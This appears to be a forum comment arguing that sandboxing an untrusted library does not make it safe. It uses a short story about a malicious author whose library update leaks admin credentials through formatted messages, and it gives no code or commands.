I like this in theory but it would end in disaster. Even if we could come up with a safe subset, a system like this would introduce a false sense of security. Just because some code can’t do anything malicious itself doesn’t mean that it can’t cause code that relies on it to do something unintended.
For example, let’s say Alice is writing a social network and needs a string parsing/formatting library for processing requests and formatting messages. Shes finds a great one but don’t really trust the author, Eve (they have a history). Without this sandbox she wouldn’t even consider using the library but, given that this code can’t really do anything “bad” (and it does exactly what she needs), she decides to go ahead and use it it anyways. It can’t execute code, write files, or even access the network so what harm could it do? So, Alice finishes her social network (and publishes the code because she’s nice) and it’s a hit!
Now Eve learns about Alice’s new social network, reads the code, and is rather unhappy (understatement) about having her code “stolen” (they have a really long history). So, Eve decides to get revenge. She considers just breaking her library but Alice would notice and just revert to a previous version. Then she has an epiphany! Her code has access to both the admin credentials (it processes requests), the user messages (it formats them), and can store information in static variables. So Eve makes a few targeted tweaks to her library and publishes a new version; Alice updates to the new version because it’s “10x faster!!!” and logs in; and then Eve logs in and very much enjoys her welcome message.
The moral of this story is, if you don’t trust the source (and your source doesn’t somehow prove to you that it’s being honest) you can’t trust the data.